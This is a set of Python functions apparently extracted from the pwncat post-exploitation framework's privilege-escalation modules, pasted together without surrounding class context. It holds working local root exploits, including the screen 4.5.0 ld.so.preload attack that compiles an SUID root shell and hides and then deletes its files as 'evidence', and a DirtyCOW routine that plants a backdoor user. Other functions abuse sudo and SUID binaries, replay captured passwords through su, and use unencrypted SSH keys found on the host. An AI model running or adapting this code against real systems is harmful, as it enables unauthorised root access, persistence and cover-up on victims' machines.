def enumerate(self, capability: int = Capability.ALL) -> List[Technique]: """ Find all techniques known at this time """ # If we have ran this before, don't bother running it if self.ran_before or not (Capability.SHELL & capability): return [] # Carve out the version of screen version_output = pwncat.victim.run("screen -v").decode("utf-8").strip() match = re.search(r"(\d+\.\d+\.\d+)", version_output) if not match: raise PrivescError("could not gather screen version") # Knowing the version of screen, check if it is vulnerable... version_triplet = [int(x) for x in match.group().split(".")] if version_triplet[0] > 4: raise PrivescError("screen seemingly not vulnerable") if version_triplet[0] == 4 and version_triplet[1] > 5: raise PrivescError("screen seemingly not vulnerable") if ( version_triplet[0] == 4 and version_triplet[1] == 5 and version_triplet[2] >= 1 ): raise PrivescError("screen seemingly not vulnerable") # If screen is vulnerable, try the technique! techniques = [Technique("root", self, None, Capability.SHELL)] return techniques
def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe: method, rule = technique.ident payload, input_data, exit_command = method.build(user=technique.user, lfile=filepath, spec=rule.command) mode = "r" if method.stream is Stream.RAW: mode += "b" try: pipe = pwncat.victim.sudo( payload, as_is=True, stream=True, mode=mode, exit_cmd=exit_command.encode("utf-8"), ) except PermissionError as exc: raise PrivescError(str(exc)) pwncat.victim.client.send(input_data.encode("utf-8")) return method.wrap_stream(pipe)
def write_file(self, filepath: str, data: bytes, technique: Technique): method, rule = technique.ident payload, input_data, exit_command = method.build(user=technique.user, lfile=filepath, spec=rule.command, length=len(data)) mode = "w" if method.stream is Stream.RAW: mode += "b" try: pipe = pwncat.victim.sudo( payload, as_is=True, stream=True, mode=mode, exit_cmd=exit_command.encode("utf-8"), ) except PermissionError as exc: raise PrivescError(str(exc)) pwncat.victim.client.send(input_data.encode("utf-8")) with method.wrap_stream(pipe) as pipe: pipe.write(data)
def write_file(self, filepath: str, data: bytes, technique: Technique): method = technique.ident payload, input_data, exit_cmd = method.build(lfile=filepath, length=len(data), suid=True) mode = "w" if method.stream is Stream.RAW: mode += "b" try: # data_printable = data.decode("utf-8").isprintable() # Use the custom `util.isprintable()` so we can keep newlines data_printable = util.isprintable(data) except UnicodeDecodeError: data_printable = False if method.stream == Stream.PRINT and not data_printable: raise PrivescError(f"{technique}: input data not printable") # Send the read payload pipe = pwncat.victim.subprocess( payload, mode, data=input_data.encode("utf-8"), exit_cmd=exit_cmd.encode("utf-8"), no_job=True, ) # Wrap the stream in case this is an encoded write with method.wrap_stream(pipe) as pipe: pipe.write(data)
def execute(self, technique: Technique): current_user = pwncat.victim.current_user password = technique.ident.encode("utf-8") if current_user.name != "root": # Send the su command, and check if it succeeds pwncat.victim.run( f'su {technique.user} -c "echo good"', wait=False, ) pwncat.victim.recvuntil(": ") pwncat.victim.client.send(password + b"\n") # Read the response (either "Authentication failed" or "good") result = pwncat.victim.recvuntil("\n") # Probably, the password wasn't echoed. But check all variations. if password in result or result == b"\r\n" or result == b"\n": result = pwncat.victim.recvuntil("\n") if b"failure" in result.lower() or b"good" not in result.lower(): raise PrivescError(f"{technique.user}: invalid password") pwncat.victim.process(f"su {technique.user}", delim=False) if current_user.name != "root": pwncat.victim.recvuntil(": ") pwncat.victim.client.sendall(technique.ident.encode("utf-8") + b"\n") pwncat.victim.flush_output() return "exit"
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]: """ Enumerate capabilities for this method. :param capability: the requested capabilities :return: a list of techniques implemented by this method """ for fact in pwncat.victim.enumerate.iter("system.service"): if "ssh" in fact.data.name and fact.data.state == "running": break else: raise PrivescError("no sshd service running") # We only provide shell capability if Capability.SHELL not in capability: return [] techniques = [] for fact in pwncat.victim.enumerate.iter(typ="system.user.private_key"): util.progress(f"enumerating private key facts: {str(fact.data)}") if not fact.data.encrypted: techniques.append( Technique(fact.data.user.name, self, fact.data, Capability.SHELL) ) return techniques
def execute(self, technique: Technique): """ Run the specified technique """ with open("data/dirtycow/mini_dirtycow.c") as h: dc_source = h.read() dc_source = dc_source.replace( "PWNCAT_USER", pwncat.victim.config["backdoor_user"] ) dc_source = dc_source.replace( "PWNCAT_PASS", pwncat.victim.config["backdoor_pass"] ) self.ran_before = True writer = gtfobins.Binary.find_capability(pwncat.victim.which, Capability.WRITE) if writer is None: raise PrivescError("no file write methods available from gtfobins") dc_source_file = pwncat.victim.run("mktemp").decode("utf-8").strip() dc_binary = pwncat.victim.run("mktemp").decode("utf-8").strip() # Write the file pwncat.victim.run(writer.write_file(dc_source, dc_source)) # Compile Dirtycow pwncat.victim.run(f"cc -pthread {dc_source_file} -o {dc_binary} -lcrypt") # Run Dirtycow pwncat.victim.run(dc_binary) # Reload /etc/passwd pwncat.victim.reload_users() if pwncat.victim.privesc.backdoor_user_name not in pwncat.victim.users: raise PrivescError("backdoor user not created") # Become the new user! pwncat.victim.run(f"su {pwncat.victim.privesc.backdoor_user_name}", wait=False) pwncat.victim.recvuntil(": ") pwncat.victim.client.send( pwncat.victim.privesc.backdoor_password.encode("utf-8") + b"\n" ) return "exit"
def send_password(self, current_user: "******"): # peak the output output = pwncat.victim.peek_output(some=False).lower() if (b"[sudo]" in output or b"password for " in output or output.endswith(b"password: "******"lecture" in output): if current_user.password is None: pwncat.victim.client.send( CTRL_C) # break out of password prompt raise PrivescError( f"user {Fore.GREEN}{current_user.name}{Fore.RESET} has no known password" ) else: return # it did not ask for a password, continue as usual # Flush any waiting output pwncat.victim.flush_output() # Reset the timeout to allow for sudo to pause old_timeout = pwncat.victim.client.gettimeout() pwncat.victim.client.settimeout(5) pwncat.victim.client.send( current_user.password.encode("utf-8") + b"\n") output = pwncat.victim.peek_output(some=True) # Reset the timeout to the originl value pwncat.victim.client.settimeout(old_timeout) if (b"[sudo]" in output or b"password for " in output or b"sorry, " in output or b"sudo: " in output): pwncat.victim.client.send(CTRL_C) # break out of password prompt # Flush all the output pwncat.victim.recvuntil(b"\n") raise PrivescError( f"user {Fore.GREEN}{current_user.name}{Fore.RESET} could not sudo" ) return
def execute(self, technique: Technique) -> bytes: """ Escalate to the new user and return a string used to exit the shell :param technique: the technique to user (generated by enumerate) :return: an exit command """ # Escalate try: pwncat.victim.su(technique.user, technique.ident.password) except PermissionError as exc: raise PrivescError(str(exc)) return "exit\n"
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]: """ Find all techniques known at this time """ if self.ran_before or (Capability.SHELL & capability): return [] # Determine if this kernel version is vulnerable kernel = pwncat.victim.run("uname -r").decode("utf-8").strip() triplet = [int(x) for x in kernel.split(".")] if triplet[0] > 4: raise PrivescError("kernel seemingly not vulnerable") if triplet[0] == 4 and triplet[1] == 7 and triplet[2] >= 9: raise PrivescError("kernel seemingly not vulnerable") if triplet[0] == 4 and triplet[1] == 8 and triplet[2] >= 3: raise PrivescError("kernel seemingly not vulnerable") if triplet[0] == 4 and triplet[1] == 4 and triplet[2] >= 26: raise PrivescError("kernel seemingly not vulnerable") techniques = [Technique("root", self, None, Capability.SHELL)] return techniques
def execute(self, technique: Technique): """ Run the specified technique """ method, rule = technique.ident payload, input_data, exit_command = method.build( user=technique.user, shell=pwncat.victim.shell, spec=rule.command) try: pwncat.victim.sudo(payload, as_is=True, wait=False) except PermissionError as exc: raise PrivescError(str(exc)) pwncat.victim.client.send(input_data.encode("utf-8")) return exit_command
def execute(self, technique: Technique) -> bytes: """ Escalate to the new user and return a string used to exit the shell :param technique: the technique to user (generated by enumerate) :return: an exit command """ # Escalate try: pwncat.victim.su(technique.user, technique.ident.data.value) except PermissionError as exc: # Don't try this again, and mark it as dirty in the database technique.ident.data.invalid.append(technique.user) flag_modified(technique.ident, "data") pwncat.victim.session.commit() raise PrivescError(str(exc)) return "exit\n"
def execute(self, technique: Technique): """ Run the specified technique """ # Grab the path from the fact (see self.enumerate) screen = technique.ident.data.path # Write the rootshell source code rootshell_source = textwrap.dedent(f""" #include <stdio.h> int main(void){{ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("{pwncat.victim.shell}", NULL, NULL); }} """).lstrip() # Compile the rootshell binary try: rootshell = pwncat.victim.compile([StringIO(rootshell_source)]) except CompilationError as exc: raise PrivescError(f"compilation failed: {exc}") rootshell_tamper = pwncat.victim.tamper.created_file(rootshell) # Write the library libhack_source = textwrap.dedent(f""" #include <stdio.h> #include <sys/types.h> #include <unistd.h> __attribute__ ((__constructor__)) void dropshell(void){{ chown("{rootshell}", 0, 0); chmod("{rootshell}", 04755); unlink("/etc/ld.so.preload"); }} """).lstrip() # Compile libhack try: libhack_so = pwncat.victim.compile( [StringIO(libhack_source)], cflags=["-fPIC", "-shared"], ldflags=["-ldl"], ) except CompilationError as exc: pwncat.victim.tamper.remove(rootshell_tamper) raise PrivescError("compilation failed: {exc}") # Switch to /etc but save our previous directory so we can return to it old_cwd = pwncat.victim.env(["pwd"]).strip().decode("utf-8") pwncat.victim.run("cd /etc") # Run screen with our library, saving the umask before changing it start_umask = pwncat.victim.run("umask").decode("utf-8").strip() pwncat.victim.run("umask 000") # Run screen, loading our library and causing our rootshell to be SUID pwncat.victim.run( f'{screen} -D -m -L ld.so.preload echo -ne "{libhack_so}"') # Trigger the exploit pwncat.victim.run(f"{screen} -ls") # We no longer need the shared object pwncat.victim.env(["rm", "-f", libhack_so]) # Reset umask to the saved value pwncat.victim.run(f"umask {start_umask}") # Check if the file is owned by root file_owner = pwncat.victim.run(f"stat -c%u {rootshell}").strip() if file_owner != b"0": # Hop back to the original directory pwncat.victim.env(["cd", old_cwd]) # Ensure the files are removed pwncat.victim.env(["rm", "-f", rootshell]) raise PrivescError("failed to create root shell") # Hop back to the original directory pwncat.victim.env(["cd", old_cwd]) # Start the root shell! pwncat.victim.run(rootshell, wait=False)
def execute(self, technique: Technique): """ Run the specified technique """ self.ran_before = True # Hide the activity by creating hidden temporary files libhack_c = ( pwncat.victim.run("mktemp -t .XXXXXXXXXXX --suffix .c") .decode("utf-8") .strip() ) libhack_so = ( pwncat.victim.run("mktemp -t .XXXXXXXXXXX --suffix .so") .decode("utf-8") .strip() ) rootshell_c = ( pwncat.victim.run("mktemp -t .XXXXXXXXXXX --suffix .c") .decode("utf-8") .strip() ) rootshell = pwncat.victim.run("mktemp -t .XXXXXXXXXXX").decode("utf-8").strip() # Write the library libhack_source = textwrap.dedent( f""" #include <stdio.h> #include <sys/types.h> #include <unistd.h> __attribute__ ((__constructor__)) void dropshell(void){{ chown("{rootshell}", 0, 0); chmod("{rootshell}", 04755); unlink("/etc/ld.so.preload"); }} """ ).lstrip() with pwncat.victim.open(libhack_c, "w", length=len(libhack_source)) as filp: filp.write(libhack_source) # Compile the library pwncat.victim.run(f"gcc -fPIC -shared -ldl -o {libhack_so} {libhack_c}") # Write the rootshell source code rootshell_source = textwrap.dedent( f""" #include <stdio.h> int main(void){{ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("{pwncat.victim.shell}", NULL, NULL); }} """ ).lstrip() with pwncat.victim.open(rootshell_c, "w", length=len(rootshell_source)) as filp: filp.write(rootshell_source) # Compile the rootshell binary pwncat.victim.run(f"gcc -o {rootshell} {rootshell_c}") # Switch to /etc but save our previous directory so we can return to it pwncat.victim.run("pushd /etc") # Run screen with our library, saving the umask before changing it start_umask = pwncat.victim.run("umask").decode("utf-8").strip() pwncat.victim.run("umask 000") # sleep(1) pwncat.victim.run(f'screen -D -m -L ld.so.preload echo -ne "{libhack_so}"') # sleep(1) # Trigger the exploit pwncat.victim.run("screen -ls") # Reset umask to the saved value pwncat.victim.run(f"umask {start_umask}") # Check if the file is owned by root file_owner = pwncat.victim.run(f"stat -c%u {rootshell}").strip() if file_owner != b"0": raise PrivescError("failed to create root shell") # Hop back to the original directory pwncat.victim.run("popd") # Start the root shell! pwncat.victim.run(f"{rootshell}", wait=False) # Remove the evidence pwncat.victim.run(f"unlink {libhack_so} {libhack_c} {rootshell_c} {rootshell}")